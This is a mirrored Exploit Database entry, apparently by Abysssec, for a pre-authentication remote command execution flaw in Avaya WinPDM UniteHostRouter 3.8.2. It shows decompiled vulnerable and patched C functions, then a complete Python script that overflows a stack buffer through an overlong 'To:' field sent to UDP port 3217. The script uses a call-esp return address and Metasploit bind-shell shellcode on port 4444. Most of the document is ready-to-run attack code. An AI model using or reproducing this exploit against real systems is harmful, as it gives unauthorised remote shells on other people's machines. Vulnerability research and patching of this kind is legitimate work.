Avaya WinPDM UniteHostRouter 3.8.2 – Remote Command Execution

• Exploit Database
• 11 阅读

• 作者： Abysssec
  日期： 2012-01-20
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18397/

• # Abysssec Public Exploit
  # more info www.abysssec.com
  # Avaya WinPDM UniteHostRouter<= 3.8.2 Remote Pre-Auth Command Execute
  
  #A boundary error in the Unite Host Router service (UniteHostRouter.exe)
  #when processing certain requests can be exploited to cause a stack-based buffer
  #overflow via an overly long string in the "To:" field sent to UDP port 3217.
  '''
  
  
  signed int __cdecl sub_403160(const char *Str, void *a2)
  {
  char *v2; 
  char *v3; 
  const void *v4; 
  char *v5; 
  unsigned int v6; 
  signed int result;
  
  v2 = strpbrk(Str, "\n\r");
  v3 = strpbrk(Str, "/\n\r");
  if ( v3 >= v2 || (v4 = v3 + 1, v5 = strpbrk(v3 + 1, ":/? \n\r"), v5 > v2) )
  {
  result = 0;
  }
  else
  {
  v6 = v5 - v4;
  memcpy(a2, v4, v6); // vulnerable memcpy 
  *((_BYTE *)a2 + v6) = 0;
  result = 1;
  }
  return result;
  }
  
  
  
  signed int __cdecl sub_403160_patched(const char *Str, void *a2)
  {
  char *v2; 
  char *v3; 
  const void *v4; 
  char *v5; 
  unsigned int v6; 
  signed int result; 
  
  v2 = strpbrk(Str, "\n\r");
  if ( v2
  && (v3 = strpbrk(Str, "/\n\r")) != 0
  && v3 < v2
  && (v4 = v3 + 1, (v5 = strpbrk(v3 + 1, ":/? \n\r")) != 0)
  && v5 <= v2
  && (v6 = v5 - v4, (signed int)v6 <= 256) ) // patched by checking <= 256 
  {
  memcpy(a2, v4, v6); 
  *((_BYTE *)a2 + v6) = 0;
  result = 1;
  }
  else
  {
  result = 0;
  }
  return result;
  }
  
  
  '''
  
  from socket import socket, AF_INET, SOCK_DGRAM
  
  data = '\x55\x54\x50\x2f\x31' # Protocol
  data +=' To: 127.0.0.1'
  data+= ' /'+"A"*260
  data+= "\xFB\xF8\xAB\x71" # 71ABF8FB call esp W32_SOCK.dll
  
  # win32_bind - EXITFUNC=thread LPORT=4444 Size=717 Encoder=PexAlphaNum
  # http://metasploit.com
  
  data += ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
  "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
  "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
  "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
  "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e"
  "\x4f\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x58"
  "\x4e\x56\x46\x32\x46\x32\x4b\x38\x45\x44\x4e\x43\x4b\x58\x4e\x47"
  "\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x38\x4f\x34\x4a\x41\x4b\x58"
  "\x4f\x55\x42\x52\x41\x30\x4b\x4e\x43\x4e\x42\x53\x49\x54\x4b\x38"
  "\x46\x53\x4b\x58\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a"
  "\x46\x58\x42\x4c\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30"
  "\x44\x4c\x4b\x4e\x46\x4f\x4b\x33\x46\x55\x46\x42\x4a\x42\x45\x57"
  "\x43\x4e\x4b\x58\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x58"
  "\x4e\x50\x4b\x34\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x43\x30"
  "\x4e\x52\x4b\x48\x49\x38\x4e\x36\x46\x42\x4e\x41\x41\x56\x43\x4c"
  "\x41\x43\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x33\x4b\x58\x42\x44"
  "\x4e\x50\x4b\x38\x42\x47\x4e\x41\x4d\x4a\x4b\x48\x42\x54\x4a\x50"
  "\x50\x35\x4a\x46\x50\x58\x50\x44\x50\x50\x4e\x4e\x42\x35\x4f\x4f"
  "\x48\x4d\x41\x53\x4b\x4d\x48\x36\x43\x55\x48\x56\x4a\x36\x43\x33"
  "\x44\x33\x4a\x56\x47\x47\x43\x47\x44\x33\x4f\x55\x46\x55\x4f\x4f"
  "\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e\x4e\x4f\x4b\x53\x42\x45\x4f\x4f"
  "\x48\x4d\x4f\x35\x49\x48\x45\x4e\x48\x56\x41\x48\x4d\x4e\x4a\x50"
  "\x44\x30\x45\x55\x4c\x46\x44\x50\x4f\x4f\x42\x4d\x4a\x36\x49\x4d"
  "\x49\x50\x45\x4f\x4d\x4a\x47\x55\x4f\x4f\x48\x4d\x43\x45\x43\x45"
  "\x43\x55\x43\x55\x43\x45\x43\x34\x43\x45\x43\x34\x43\x35\x4f\x4f"
  "\x42\x4d\x48\x56\x4a\x56\x41\x41\x4e\x35\x48\x36\x43\x35\x49\x38"
  "\x41\x4e\x45\x49\x4a\x46\x46\x4a\x4c\x51\x42\x57\x47\x4c\x47\x55"
  "\x4f\x4f\x48\x4d\x4c\x36\x42\x31\x41\x45\x45\x35\x4f\x4f\x42\x4d"
  "\x4a\x36\x46\x4a\x4d\x4a\x50\x42\x49\x4e\x47\x55\x4f\x4f\x48\x4d"
  "\x43\x35\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x45\x4e\x49\x44\x48\x38"
  "\x49\x54\x47\x55\x4f\x4f\x48\x4d\x42\x55\x46\x35\x46\x45\x45\x35"
  "\x4f\x4f\x42\x4d\x43\x49\x4a\x56\x47\x4e\x49\x37\x48\x4c\x49\x37"
  "\x47\x45\x4f\x4f\x48\x4d\x45\x55\x4f\x4f\x42\x4d\x48\x36\x4c\x56"
  "\x46\x46\x48\x36\x4a\x46\x43\x56\x4d\x56\x49\x38\x45\x4e\x4c\x56"
  "\x42\x55\x49\x55\x49\x52\x4e\x4c\x49\x48\x47\x4e\x4c\x36\x46\x54"
  "\x49\x58\x44\x4e\x41\x43\x42\x4c\x43\x4f\x4c\x4a\x50\x4f\x44\x54"
  "\x4d\x32\x50\x4f\x44\x54\x4e\x52\x43\x49\x4d\x58\x4c\x47\x4a\x53"
  "\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46\x44\x57\x50\x4f\x43\x4b\x48\x51"
  "\x4f\x4f\x45\x57\x46\x54\x4f\x4f\x48\x4d\x4b\x45\x47\x35\x44\x35"
  "\x41\x35\x41\x55\x41\x35\x4c\x46\x41\x50\x41\x35\x41\x45\x45\x35"
  "\x41\x45\x4f\x4f\x42\x4d\x4a\x56\x4d\x4a\x49\x4d\x45\x30\x50\x4c"
  "\x43\x35\x4f\x4f\x48\x4d\x4c\x56\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f"
  "\x42\x4d\x4b\x58\x47\x45\x4e\x4f\x43\x38\x46\x4c\x46\x36\x4f\x4f"
  "\x48\x4d\x44\x55\x4f\x4f\x42\x4d\x4a\x36\x4f\x4e\x50\x4c\x42\x4e"
  "\x42\x36\x43\x55\x4f\x4f\x48\x4d\x4f\x4f\x42\x4d\x5a")
  
  data += '\r\n\r\n' #\n\n
  
  port = 3217
  hostname = '192.168.171.129'
  udp = socket(AF_INET,SOCK_DGRAM)
  udp.sendto(data, (hostname, port))
  
  print "Send malicius packet\n"
  print "You Should Got a shell at %s 4444" % hostname